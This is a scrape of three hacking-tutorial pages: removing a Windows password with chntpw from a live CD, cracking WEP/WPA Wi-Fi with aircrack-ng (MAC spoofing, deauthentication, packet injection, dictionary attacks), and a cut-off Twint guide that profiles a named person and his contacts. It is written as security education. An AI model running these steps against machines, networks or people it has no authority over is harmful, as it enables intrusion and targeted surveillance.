Mobber App***News:MAC-Using Gamemakers Rejoice! UDK Now Compatible With MAC OS XNews:Microsoft Office 2010 KeynoteHow To:Learn to Code for Only $40 with Learnable
How to Remove a Windows Password with a Linux Live CD « Null Byte :: WonderHowTo
Back when I was a Windows user, I know I'm not the only one who has experienced password loss—that moment where you just can't remember your password. Sometimes it happens to the best of us. So, how can we get into the system without paying a local geek or geeksquad to do it? First, we have to look into how Windows stores their passwords.When Windows saves your user passwords, it stores them in a SAM file. It stores users'passwordsin a hashed format (inLM hashandNTLMhash). Since ahash functionis one-way, this provides some measure of security for the storage of the passwords. However, this can still be bruteforced.Some time ago there was an exploit that allowed you to delete the SAM file and log into any account without a password. This is fixed, since Windows no longer allows access to the SAM file while Windows is running. For thisNull Byte, we are going to use a Linux Live CD to remove a Windows password using thechntpwtool.RequirementsBackTrack 5on a DVD, or a Linux install with chntpwA password on a Windows installationStep1Boot From BackTrackText in bold is a terminal command.Put the disc in your computer.Hit the the setup button.Change CD/DVD to be first on the boot order.Exit the setup and save your settings.When you get to the console, boot with;user:rootpaswword:toor.Boot into the KDE desktop environment:startxOpen a terminal.Step2Mount Drive & Change Windows PasswordNow we have to mount the Windows drive partition to modify the password, or remove it completely.First, wehave to mount the hard drive partition that the Windows installtion is located on..mount /dev/sda1 /mnt/Change to the directory that the SAM file is in so that we can prepare to modify its contents.cd /mnt//Windows/System32/configList the users on the computer contained in the SAM file.chntpw -l SAMChange a specific user account password.chntpw -u USERNAME SAMNow, lets unmount the drive and boot from Windows to use the updated or cleared password.umount /dev/sda1If you have any questions regarding today's post, feel free to join us onIRC. Also, follow me onTwitterfor the latest Null Byte updates.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Hack a Windows 7/8/10 Admin Account Password with Windows MagnifierHow To:Reset Windows Password with a Windows CD or a Linux CDHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:Remove Ubuntu and the GRUB LoaderHow To:Bypass Windows Passwords Part 1How To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Remove a Password from Log in Screen in Linux MintHow To:Set Up Private Internet Access in LinuxHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How to Hack Like a Pro:Getting Started with MetasploitHow To:Run Kali Linux as a Windows SubsystemHow To:Recover a Windows Password with OphcrackHow To:Bypass Windows and Linux PasswordsHow To:Recover WinRAR and Zip PasswordsHow To:Scan for Viruses in Windows Using a Linux Live CD/USBHow To:Run Windows from Inside LinuxNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersNews:MULTIBOOT CDSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Create a Custom Arch Linux DistroHow To:Use Cygwin to Run Linux Apps on WindowsHow To:Carve Saved Passwords Using CainRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Sneak into Your Roommate's Computer by Bypassing the Windows Login ScreenSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Windows 7 Won't Boot? Here's How To Fix Your Master Boot RecordHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:log on Windows 7 with username & passwordNews:Performance Hacks & Tweaks for LinuxHow To:Recover Deleted Files in LinuxNews:Windows Live SkyDriveHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Customize Your Linux DesktopHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Avoid Root Password Reset on Kali Live USB Persistence BootNews:Cannot find windows loader after Linux install?
How Hackers Steal Your Internet & How to Defend Against It « Null Byte :: WonderHowTo
I have had a lot of people ask me, "How does my neighbor keep getting into my wireless?!". Chances are, these people are all using WEP, a deprecated wireless encryption protocol. Either that, or you are using oneweakWPA passphrase.If someone can access your wireless network that easily, this isNOTa good thing. After someone cracks an access point, possibilities are limitless. There's SSL stripping, packet sniffing, MITM (Man-In-The-Middle) attacks, ARP poisoning—not to mention being completely anonymous by using someone else's Wi-Fi.Proof of ConceptThe theory behind cracking access points is simple. For WEP, you fake authentication with the access point to get it to send you packets, then send fragments of packets back to the AP (Access Point). In return, the AP will send a torrent of packets because they're broken. On a network, if a packet is broken, they get resent. When you capture the packets, some will have initialization vectors on them. An attacker captures as many of those as they can, then cracks away at them using an algorithm. WEP is algorithmically weak—after enough IVs, you can crack any password. No matter how long. No matter how complex.WPA/2 is a little different. To crack a WPA/2 AP, you need to send a de-authentication packet to a connected client, and force it to re-authenticate. When it does this, capture the four-way handshake between them, as this contains the hash of the AP's password. This means: post handshake capture, you can do all your attacking offline.WPA/2 has the fixed a vulnerability that was in WEP and has a required password length of an 8 character minimum. This means brute-forcing is nearlyimpossible. A dictionary attack is the only way to go. Dictionaries use a pre-generated list of words, and attempts each word, one by one. These don't necessarily have to be words, butanypre-generated string of ASCII characters.In thisNull Byte, I'm going to show you how to break into your own wireless network and assess its security so you can have a impenetrable network! This will be done in Linux, because Windows does not have open-source, injection capable drivers (WinPcap and USB wireless interfaces aside). For instructions on getting packet injection capable drivers in Linux, you will find a lovely tutorial, written by me for Null Bytehere.All of the commands in bold are Terminal commands.Step1Spoofing a MAC AddressBefore anysmartcracker would attack your AP, they will always spoof their MAC (Media Access Control) address! Your MAC address is your wireless NIC's (Network Interface Card) unique identity!UNIQUE. That means if it was paid for with Mommy and Daddy's credit card, they'll know it'syoubehind the computer.To spoof a MAC address, open a terminal and use these commands:sudo ifconfig wlan0 downsudo ifconfig wlan0 hw ether 46:75:63:6b:55:21sudo ifconfig wlan0 upA frequent cracker would likely make a script out of this to do it quickly. You can put any hex number you want there for the MAC address you're spoofing to, mine is just an example.To make sure your MAC changed, you would do:ifconfigThen confirm that the "wlan0" interface matches what we put into the terminal.Step2Finding Your APTo find your AP, do a scan of local wireless APs:sudo iwlist wlan0 scanTake note of the MAC address of the access point, as well as the channel it is on, you will need it later.Step3Install Aircrack-NGInstall the aircrack-ng suite. It contains all the tools needed to assess your AP's security. In Arch Linux, it is:sudo pacman -S aircrack-ngAnd Ubuntu:sudo apt-get install aircrack-ngNow, install the aircrack-ng scripts, because sometimes you won't be able to run airmon-ng, etc. from the terminal without them:sudo pacman -S aircrack-ng-scriptsAnd Ubuntu:sudo apt-get install aircrack-ng-scriptsStep4Cracking the Wireless APNow we are going to start the actual attack on the AP. You will need to replace the text in brackets with your corresponding info, which you should have written down.Put your wireless interface into monitor mode, as this will allow it to sniff traffic:sudo airmon-ng start wlan0-OR-sudo ifconfig wlan0 mode monitorYour interface for monitoring should now be named "mon0".If you have a WEP encrpyted network, refer to "Cracking WEP" below. If you have a WPA or WPA2 network, skip this and go straight to "Cracking WPA & WPA2".Cracking WEPFor WEP encryption, we need to fake authentication with the AP so it sends you traffic (note: if you cant authenticate, spoof your MAC to match one of the clients already connected to it. You can see the under "stations" in airodump-ng). Open another tab in your terminal, and type:sudo aireplay-ng -a [AP's MAC] -e [AP's SSID(name)] mon0To start the live capture of airbourne packets:sudo airodump-ng --ivs -c [channel of AP] --bssid [AP's MAC address] -w [~/Desktop] mon0Next, you need to fake-authentication with the AP:sudo aireplay-ng -a [AP's MAC] -e [AP's ESSID(name)] mon0When you have fake-authenticated successfully, you should now start re-injecting packets:sudo aireplay-ng -3 -b [AP's MAC] -h [Your MAC] mon0When it's done, you should see it generating large amounts of traffic in the airodump-ng window. After you get 20-100,000 packets or "Data", as airodump calls them, you should be ready to crack the password.To crack your password, run this in the terminal:sudo aircrack-ng ~/Desktop/[capture file.cap]When aircrack says "KEY FOUND", copy the key and remove the semi-colons from it. Congratulations! You just proved how easy it is for someone to crack your network. With a crafted tool, an attacker can crack your network in less than 60 seconds. I've done it numerous times.Cracking WPA & WPA2To get ready to capture a four-way handshake, start airodump-ng with this command:sudo airodump-ng -c [channel of AP] --bssid [AP's MAC] -w [~/Desktop/psk.cap] mon0Now we need to de-authenticate a client to force them to reconnect and get a four-way handshake faster. Swich to airodump and look at the associated clients (look at the bottom). Copy the MAC address. It there aren't any, wait until someone connects, or try for a later date when you can have another computer connected. Here is the terminal command to force de-authentication:sudo aireplay-ng -0 15 -a [AP MAC] -c [Deauth client MAC] mon0In airodump, you should see in the top-right corner text, "WPA Handshake" and shows a MAC address following it. Example:The handshake was captured and you can now disconnect from the network. If you didn't get the handshake, you might not be close enough to the client.To crack the handshake:sudo aircrack-ng -w [~/path/to/dictionary/file.lst] [~/Desktop/psk-01.cap]You can find great dictionaries for cracking onThePirateBayorPacket Storm. I have over 20, depending on my situation. You can also use "coWPAtty", which usesRainbow Tablesto crack WPA handshakes. Rainbow Tables are pre-computed hashes with their corresponding passphrase. It'sveryeffective. TheChurch of Wi-Fihas the best Rainbow Table set I've seen. However, the torrents are impossible to find now (due to lack of seeders). In order to get them, you need to buy the DVD set.That's all there is to it. So, the bottom line is to use WPA2 with AES encryption in conjunction with an impossibly long password, like "71zJJmfbK50VgdmtjRVJuxcDJr5PVJJAAtG1mIBwbEUshkkO".Questions? Post below, or start a thread in theforum.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaThe Elite Hackers SiteRelatedHow To:Defend Yourself Against an Attacker with a KnifeHow To:Defend Yourself Against an Attacker Choking You from the FrontNews:Chinese Hack of U.S. Employment Records Reveals the Weakness of Signature-Based Defense SystemsNews:'Hackers-for-Hire' Attempted to Steal Baidu's Self-Driving Car SecretsHow To:Defend your hacker space with a USB missile launcherHow To:Defend against a straight right hand to the bodyHow To:The Beginner's Guide to Defending Against Wi-Fi HackingNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Defend against an overhead attack with an edged weaponNews:The Biometric Authentication ConundrumHow To:Defend against a left hook in boxingHow To:Defend against the dribble in soccerNews:A Brief History of HackingHow To:Defend in FIFA 11 for the PlayStation 3How To:Get an armored tank vehicle in Dead Island and earn 'Hell in Paradise'News:Shadow Brokers Leak Reveals NSA Compromised SWIFTLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow To:Defend against the right handHow To:Defend on the insideHow To:Defend against the ground and pound and stand up when against the cage in MMAHow To:Defend vs. a human siege and use the best traps in Dwarf FortressHow To:Defend against a body lock with an ankle pressure submission in MMAHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayCyberwar:Hacker vs. HackerNews:Maxine Waters Article with VideoNews:Indie and Mainstream Online Games Shut Down by LulzSecHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Defend against a back attack with the arm barHow To:Defend against the wrist grab with Aikido IkkyoNews:$(r4BBL3 = SCRABBLE in L33tsp34kHow To:Defend against rear wrist grabs with Aikido NikyoHow To:Secure Your Computer with Norton DNSHow To:Join the Fight Against SOPA and PIPAHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:South American teams doing great.News:Name your price for 5 games
How to Mine Twitter for Targeted Information with Twint « Null Byte :: WonderHowTo
Open-source intelligence researchers and hackers alike love social media for reconnaissance. Websites likeTwitteroffer vast, searchable databases updated in real time by millions of users, but it can be incredibly time-consuming to sift through manually. Thankfully, tools like Twint can crawl through years of Twitter data to dig up any information with a single terminal command.With researchers continually looking for new databases to plunder for juicy pieces of information, Twitter represents a wild mix of primary source information and misleading rumors. While Twitter is often discounted as a source of OSINT information for being difficult to search and parse, there are ways to get around the bottleneck that comes from the time it takes to search through and make sense of the vast sea of Twitter data.Twitter as an OSINT DatabaseThe key to creating a good plan is a good researcher. Without an understanding of a situation, it's difficult if not impossible to design a resource efficient plan. A good researcher can take a couple of essential steps to bring the pieces needed to form a plan together.First, they ask answerable questions that data can prove or disprove, and then they determine the best source of information to search for the answers. Next, they analyze the data for hidden clues or patterns, pulling in more data when necessary to build a complete understanding of the target. Last, with knowledge of the facts of the situation, the data can be transformed into actionable intelligence to support decision making and a plan of action.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsThe process of defining a question, planning the collection, collecting the data, and analyzing the results is a continuous process of refining clues into understanding. Twitter supplements this mission by providing a sea of structured data to search, able to be sliced through with incredible accuracy.Data You'll Find on TwitterFor a red team using OSINT to decide on a plan of action, social media websites like Twitter can provide information not available anywhere else. Aside from the standard information released by official company accounts, Twitter also offers personal insights and observations of employees and even people in the right place at the right time.You can expect to find the following kinds of information on Twitter:Images of badges and keys.Phone numbers and personal details exchanged in public mentions.Photos and videos of the inside of office spaces and private homes.Images and videos from other people at events with different viewpoints linked by hashtags.Primary source statements about any range of topics a person may currently be under investigation for.Places a target hangs out or spends time.Company or office photos showing the identities of other employees.Records of travel and upcoming personal events.Imagine having access to a video that shows you the inside of a building you can't physically enter, the hardware configuration of a system you can't touch, or the personal interests of a potential social engineering target. These kinds of details dramatically change the course of a red team engagement by uncovering a weak link in an otherwise secure system.Don't Miss:How to Use SpiderFoot for OSINT GatheringSlicing Through Data with TwintWhile the data contained in Twitter is valuable, it can also be time-consuming to find and process. The time a tweet was posted often plays an essential factor in whether or not a tweet is useful, as well as the location, subject, and many other variables. To help researchers slice through these options quickly, Twint comes equipped with search filters that you can combine in useful ways to show precise information.Want to know every tweet a user made since last year geotagged near a specific city? Or maybe every tweet a person favorited mentioning a particular topic? With the right combination of search flags, you can even search for people publicly reaching out to exchange contact information with a targeted account.While many search tools use your Twitter account to make the requests through Twitter's API, Twint does not. This allows you to bypass rate limiting, query through proxies, and otherwise put distance between yourself and the target you're researching. With the ability to quickly generate text and CSV files to archive tweets of interest, Twint makes a great forensic or investigative Twitter tool.For more advanced users, Twint is a Python library that can be scripted to perform more custom or complex actions. The ability to script and scale Twitter searches with Twint makes it a simple but powerful way of extracting data from social media.Step 1: Install TwintTo get started with Twint, we'll download the developer version. I tried a few different installation methodsfrom its GitHub page, but I found that only one worked on the Linux system I was using. You'll need the pip package manager, which should come installed with Python3.Open a terminal window, and type the following to download and install the development version.pip3 install --upgrade -e git+https://github.com/twintproject/twint.git@origin/master#egg=twintThat should install everything needed. If you run into problems with a pip install, you can also try using Git, although installing it this way didn't allow me to run it by typingtwintin a terminal window the way I could with pip. To install with Git, open a terminal window and type the following commands.git clone https://github.com/twintproject/twint.git cd twint pip3 install -r requirements.txtStep 2: View Twint's OptionsOnce the required libraries finish installing, you can start Twint and see the list of available search filters by runningtwint -hin a terminal window.sudo twint -husage: python3 twint [options] TWINT - An Advanced Twitter Scraping Tool. optional arguments: -h, --help show this help message and exit -u USERNAME, --username USERNAME User's Tweets you want to scrape. -s SEARCH, --search SEARCH Search for Tweets containing this word or phrase. -g GEO, --geo GEO Search for geocoded Tweets. --near NEAR Near a specified city. --location Show user's location (Experimental). -l LANG, --lang LANG Search for Tweets in a specific language. -o OUTPUT, --output OUTPUT Save output to a file. -es ELASTICSEARCH, --elasticsearch ELASTICSEARCH Index to Elasticsearch. -t TIMEDELTA, --timedelta TIMEDELTA Time interval for every request. --year YEAR Filter Tweets before specified year. --since SINCE Filter Tweets sent since date (Example: 2017-12-27). --until UNTIL Filter Tweets sent until date (Example: 2017-12-27). --email Filter Tweets that might have email addresses --phone Filter Tweets that might have phone numbers --verified Display Tweets only from verified users (Use with -s). --csv Write as .csv file. --json Write as .json file --hashtags Output hashtags in seperate column. --userid USERID Twitter user id. --limit LIMIT Number of Tweets to pull (Increments of 20). --count Display number of Tweets scraped at the end of session. --stats Show number of replies, retweets, and likes. -db DATABASE, --database DATABASE Store Tweets in a sqlite3 database. --to TO Search Tweets to a user. --all ALL Search all Tweets associated with a user. --followers Scrape a person's followers. --following Scrape a person's follows --favorites Scrape Tweets a user has liked. --proxy-type PROXY_TYPE Socks5, HTTP, etc. --proxy-host PROXY_HOST Proxy hostname or IP. --proxy-port PROXY_PORT The port of the proxy server. --essid [ESSID] Elasticsearch Session ID, use this to differentiate scraping sessions. --userlist USERLIST Userlist from list or file. --retweets Include user's Retweets (Warning: limited). --format FORMAT Custom output format (See wiki for details). --user-full Collect all user information (Use with followers or following only). --profile-full Slow, but effective method of collecting a user's Tweets and RT. --store-pandas STORE_PANDAS Save Tweets in a DataFrame (Pandas) file. --pandas-type [PANDAS_TYPE] Specify HDF5 or Pickle (HDF5 as default) --search_name SEARCH_NAME Name for identify the search like -3dprinter stuff- only for mysql -it [INDEX_TWEETS], --index-tweets [INDEX_TWEETS] Custom Elasticsearch Index name for Tweets. -if [INDEX_FOLLOW], --index-follow [INDEX_FOLLOW] Custom Elasticsearch Index name for Follows. -iu [INDEX_USERS], --index-users [INDEX_USERS] Custom Elasticsearch Index name for Users. --debug Store information in debug logs --resume RESUME Resume from Tweet ID. --videos Display only Tweets with videos. --images Display only Tweets with images. --media Display Tweets with only images or videos. --replies Display replies to a subject. -pc PANDAS_CLEAN, --pandas-clean PANDAS_CLEAN Automatically clean Pandas dataframe at every scrape. --get-replies All replies to the tweet.Step 3: Grab a User's Recent TweetsNow that we see the ways we can slice data, we can begin pursuing an investigation. Let's say we want to track a target or begin investigating a Twitter user. For this guide, we'll pretend to be a freshly-hired IRS agent assigned to work his or her first audit. We've been handed the file of someone accused of tax evasion and are tasked with determining how best to proceed with approaching them.The name on the file of our first audit is John McAfee. After a quick search, we can see they're a Twitter user with a handle of "officialmcafee."First, we can grab information about the most recent tweets by using the-uflag for the target username and--sincefor today's date.sudo twint -u officialmcafee --since 2019-2-171096956729768767488 2019-02-16 18:17:19 PST <officialmcafee> Oh yeah!! 1096947035360636928 2019-02-16 17:38:48 PST <officialmcafee> Yes. Every last one. Every last one. 1096946784113516544 2019-02-16 17:37:48 PST <officialmcafee> I was so stoned in that photo. I remember tweeting that out . Can't recall why.Step 4: Locate Historical EvidenceJohn McAfee was in the news recently after he tweeted that he was fleeing the country, fearing the IRS was planning to indict him for tax evasion. He also tweeted at some point earlier in the year that he had not filed a tax return in a very long time.Let's locate the evidence of this tweet by using the-sflag, or subject, to look for tweets this year talking about tax returns.sudo twint -u officialmcafee -s "tax return" --since 2019-1-011080953136985133062 2019-01-03 14:24:45 PST <officialmcafee> I have not filed a tax return for 8 years. Why? 1: taxation is illegal. 2: I paid tens of millions already and received Jack Shit in services. 3. I'm done making money. I live off of cash from McAfee Inc. My net income is negative. But i am a prime target for the IRS. Here I am.Great, we have the target admitting to not filing tax returns for eight years. Assuming we were investigating this case, we'll need to collect some evidence. Did the target make any other statements regarding evading taxes? Let's collect them in a text file for later review.To do this, we'll use the-oflag to output to a text file, and a more general search for tweets about "taxes."sudo twint -u officialmcafee -s "taxes" --since 2009-01-01 -o mcafeetax1097243822143213568 2019-02-17 13:18:07 PST <officialmcafee> Yes. Income taxes are illegal. 1096836632672653312 2019-02-16 10:20:06 PST <officialmcafee> I had cataract surgery 6 months ago and bright light still hurts my eyes. I will not take them off for you my friend. And taxes are unconstitutional. I will not pay. Why the fuck do you? Where are your fucking balls? 1092592264164134913 2019-02-04 17:14:29 PST <officialmcafee> Good God woman!! We're running from the fucking tax man. Why don't we just rename our private sessions. I've always favored "Bring that God-like scepter here babe". 1091156545398804481 2019-01-31 18:09:27 PST <officialmcafee> It's all I could afford. The IRS taxed the remaining pixels. 1090719204687429634 2019-01-30 13:11:37 PST <officialmcafee> Lmfao Deal. But my $15 mil is locked up in a swiss account due to a Swiss tax assessment. If you give me the 2 mil to unlock it, I will send you the 15. Really. You can trust me. 1088992872890802178 2019-01-25 18:51:48 PST <officialmcafee> The IRS survived withoit income tax for over a hundred years. Furst showed up during the civil War 1088462380051369985 2019-01-24 07:43:48 PST <officialmcafee> tltorally wrong. . Get real. It isn't a crime not to file taxes. Grand Juries aren't convened for failure to pay taxes. And if you believe taxes are good, you have purchased our government's propaganda. You are way worse off than me. We had no taxes before the Cuvil War. 1082710638365835264 2019-01-08 10:48:26 PST <officialmcafee> Good God!!!! Educate yourself! Thr U.S. had no income tax at all, with the exception of the Civil War, until 1913. We fucking did fine. This is what Im talking about. People are buying Government propaganda and eating it up. We font need income taxes. 1082709806031368192 2019-01-08 10:45:08 PST <officialmcafee> I have paid tens of millions in taxes in the past. Dont dare talk to me abour "orher tax payers". 1081582572461834240 2019-01-05 08:05:54 PST <officialmcafee> Income taxes are unconstitutional. That's my beef. You may not mind being controlled by a corrupt givernment but i do 1081309939841286144 2019-01-04 14:02:34 PST <officialmcafee> We declared our independence from Britain and fought a bloody war to escape burdensome taxes, yet here we are, less than 250 years later, being burdened by income taxes that are more crushing than anythung rhe British dreamed of. Free yourselves people! https://www.ccn.com/crypto-shill-john-mcafee-i-havent-filed-a-tax-return-in-8-years/ … 1081122728005066752 2019-01-04 01:38:39 PST <officialmcafee> Fox News reported that i don't pay taxes. The IRS is angry (and corrupt). They will strike using law, twisted by 'their' facts, as a club. My offense is small and won't do. inferences of conspiracy or foreign collusion, or something, will come. I promise. https://www.foxnews.com/us/john-mcafee-trashes-irs-in-series-of-tweets … 1081019828658495488 2019-01-03 18:49:46 PST <officialmcafee> We had no income tax in the U.S. prior to the Civil War. There are uncountable alternativrs. Look it up and educate yourself. 1081017561695903744 2019-01-03 18:40:45 PST <officialmcafee> No sir. We had no income taxes prior to the Civil War and yet we were a world powet. There are thousands of ways to fund a givernment besides income taxes. Pay for service is one way: pay for road use by mileage, pay to access National parks, etc., 1080988662077247488 2019-01-03 16:45:55 PST <officialmcafee> My Crypto goals drive the IRS mad. Privacy coins will obsolete income taxes. Can't tax money you cant see, and I promote this as a good thing. The SEC is legally failing in their power grab so It's up to the IRS now to silence me. I've called them out. They will come. You'll see. 1080953136985133062 2019-01-03 14:24:45 PST <officialmcafee> I have not filed a tax return for 8 years. Why? 1: taxation is illegal. 2: I paid tens of millions already and received Jack Shit in services. 3. I'm done making money. I live off of cash from McAfee Inc. My net income is negative. But i am a prime target for the IRS. Here I am. 1080854344331939840 2019-01-03 07:52:11 PST <officialmcafee> I'm done trashing the SEC. Let's move on  to the IRS - the agency that takes from you an average of three months of your labor each year. First - taxation is theft. It is unconstitutional. Prior to the civil war there was no income tax, yet we managed. Stay tuned for the truth. 1071899943680512001 2018-12-09 14:50:36 PST <officialmcafee> And that does'n happen to me constantly??? But ask-- who do the Feds work for? Me, as much as anybody since I've paid the Feds, through taxes, hundreds of millions of dollars for services I have never received. Every Fed burstung through the door will get a "Past Due" notice 1033463922735624193 2018-08-25 14:19:34 PST <officialmcafee> I have made enough in my lifetime to have paid over a quarter of a billion dollars in taxes. I do not have to account for my money anymore. Some of the dollars I spend, are from the millions I made in 1987, never mind the hundreds of millions over the subsequent 10 years. 997495042347622400 2018-05-18 08:12:05 PST <officialmcafee> The SEC created a fake ICO called the Howeycoin, where the "Buy" button takes you to a page which discourages the purchase of cryptocurrencies. This is where your tax dollars are going - into deception, subterfuge and a desperate attempt to save the SEC. https://www.howeycoins.com/index.html#team  951689398135001089 2018-01-11 21:36:48 PST <officialmcafee> Tax writeoffs. 947326031890911233 2017-12-30 20:38:21 PST <officialmcafee> When I follow someone, God gives them a new Bentley Azure. Tax free. 947325176701706241 2017-12-30 20:34:57 PST <officialmcafee> When I follow someone God himself comes down and gives them a Bentley Azure. Tax free. It used to be Ford Focus. Don't know why the upgrade. 947007111011151872 2017-12-29 23:31:04 PST <officialmcafee> As I said earlier ..... When I follow someone God himself comes down and gives them a new Bentley Azure ..... Tax free. 947005611253919744 2017-12-29 23:25:06 PST <officialmcafee> I did. But I don't believe your name is Tom. You realize, of course, that when I follow people, God himself comes down and blesses them - giving each of them a Bentley Azure - tax free. 939924816664121345 2017-12-10 10:28:33 PST <officialmcafee> Good God! Do I have to spell it out? Well ... No taxes, no regulatory problems, no traceable income, no tax accountant costs, etc,etc,etc 644436140183973888 2015-09-17 02:02:03 PST <officialmcafee> My policies now posted https://mcafee16.com/issues/  #ForeignPolicy #drugs #immigrants #tax #educate #economy #cyber +more pic.twitter.com/ugCnhKEBsLOh, wow. He really hates taxes. We now have a file called "mcafeetax" containing all the tweets we just scraped about taxes. If I were a law enforcement agency, I might be curious if I could talk to the target or if he might be a heavily armed loose cannon. Maybe Twitter can answer that question!Step 5: Export Evidence & MetadataLet's see if we can identify any tweets about guns in the past year. In fact, let's try to find an image of the target mentioning "gun" somewhere in the post.To do this, we'll add a--mediaflag to say we only want to see posts containing media like photos or video. Next, we'll save the evidence we find to a CSV file called "mcafeeguns."sudo twint -u officialmcafee -s "gun" --since 2018-01-01 --media -o mcafeeguns --csv1071009885645627392 2018-12-07 03:53:49 PST <officialmcafee> U jumped the gun when I divulged the Skycoin video that someone shot during the week of revelry at my place. Seems there is a remix now. Great improvements plus without the shot of Hayden with his dick hanging out. (link: https://youtu.be/R5q7_UWKcDg ) http://youtu.be/R5q7_UWKcDg  1022223220861272067 2018-07-25 13:53:02 PST <officialmcafee> ANTI-GUN FOLK: READ NO FURTHER. Now -- guns don't kill people. Bullets kill people. And if you want to kill people with a handgun, no bullet beats the FN-57. High velocity, flat trajectory, tumbles on impact, making massive exit wounds. I urge all all if my security to use it. pic.twitter.com/P5hu2Hfur6 1007413614205120512 2018-06-14 17:04:57 PST <officialmcafee> This look like a water gun? pic.twitter.com/VKoh01GuCg 1000389938200895489 2018-05-26 07:55:22 PST <officialmcafee> About my guns pic.twitter.com/MIwq5K6amN 999482149190492160 2018-05-23 19:48:08 PST <officialmcafee> Bull shit. When am I not holding guns or surrounded by guards pic.twitter.com/fawZh7gBRv 999480884003786752 2018-05-23 19:43:06 PST <officialmcafee> When am I not in a photo with guns and guards? pic.twitter.com/iNC343Yq5I 971322857363005440 2018-03-07 01:53:10 PST <officialmcafee> You ask -- Why do I have guns? Dateline: Amy confesses to trying to kill me: http://www.nbcnews.com/video/dateline/50515302 … Newsweek: Wife confesses to cooperating with Cartel: http://www.newsweek.com/topic/john-mcafee … USA Today: War with Cartel: https://www.google.com/amp/s/amp.usatoday.com/amp/21712017 … Google: Tons of stories. Any questions? pic.twitter.com/ODSm4wHz1K 965249086562734080 2018-02-18 07:38:10 PST <officialmcafee> People asked why I have guns in the corner of my previous post. Anyone want to explain why we have the right to bear arms in America? pic.twitter.com/NtT2Fg9qnqIn the CSV file I produced, I also have access to lots of metadata about each post.I can see that each image I found is also extracted. Clicking on one, I can immediately see that yes, the target is indeed well armed.There are a lot more images of guns but one, in particular, might be of interest during an investigation. In another "gun" tagged photo from this year, the target is holding a5.7×28mmammunition cartridge in front of anFN Five-sevenpistol.This particular handgun is an unusual model designed to defeat modern soft body armor, relying on special armor-piercing bullets fired at a very high rate. They are often hard to find because they are banned from being imported. The round the subject is holding is marked with a black tip, which marks it as armor-piercing ammunition designed to penetrate body armor.Image by officialmcafee/TwitterThe SS190 bullet has a steel penetrator and aluminum core, meaning any law enforcement agent trying to approach the suspect shouldn't rely on soft body armor for safety. With a single search through Twint, we've determined not only that the suspect is armed, but that he also has access to special types of ammunition.Step 6: Collect Real-Time DataTwint has the advantage of being able to pull information about current events that Twitter users are reporting on. By combining the geolocation and subject flags, we can specify we only want to see posts about certain subjects in our local area that are happening now.Don't Miss:Research a Person or Organization Using the Operative FrameworkLet's say we hear police raid down the street and want more information. We can search for posts tagged near Los Angeles, for example, searching for keywords like "arrested" or "LAPD" to locate images of events in progress.sudo twint --verified -s "arrested" --near 'Los Angeles' --since 2019-02-17 --images1097368136293208064 2019-02-17 21:32:06 PST <KTLAMorningNews> Suspected DUI Driver Arrested in Deadly Hit-and-Run Crash in South-Central L.A. Caught on Video http://bit.ly/2SJbRGO  pic.twitter.com/T2EYC0OtRB 1097353829375463425 2019-02-17 20:35:15 PST <KTLA> Yucaipa Father Arrested in Death of 6-Month-Old Baby Girl http://bit.ly/2SF1Ydx  pic.twitter.com/O8Sd0k9wLtIf we want to search for video evidence instead, we can modify the command to search for that type of content as well. Here, a search for mentions of "LAPD" yields a video showing the end of a recent fatal police pursuit.sudo twint --verified -s "LAPD" --near 'Los Angeles' --since 2019-02-17 --videos1097300577447378944 2019-02-17 17:03:39 PST <KevinTakumi> Fatal #crash #Chatsworth LAFD/LAPD on scene 2 car crash DeSoto/Plummer 2 transported to hospital 2 dead on scene, investigation ongoing long term @FOXLA pic.twitter.com/srlUTlgtdF 1097264275586871296 2019-02-17 14:39:24 PST <LAPDHQ> Our city might not be perfect, but it has life — it has culture. It’s our privilege to be able to serve and protect the City of Angels. pic.twitter.com/yqXWyIIq8wNow, let's apply the ability to pull in live data to our search. Who are this person's supporters? Let's create a CSV file of everyone who has tweeted to this account using the--toflag, so we can review it for people possibly offering aid or giving other clues about encountering the target in person by tweeting a photo or greeting.sudo twint --to officialmcafee --since 2019-01-01 -s help -o mcafeecontacts --csv1097503235684864000 2019-02-18 06:28:56 PST <FlyCryptoGuy> Which side defends the bees? Bees die, man dies. Why don't you support #Buzzcoin bro? Help mankind. Save the damn bees. It's easy to throw insults, start throwing solutions. Thank you sir. 1097356068164898816 2019-02-17 20:44:09 PST <SkepticalMinded> Well said, the labels that hold people back as a true progressive society, are the same labels that help those same people feel belonged and 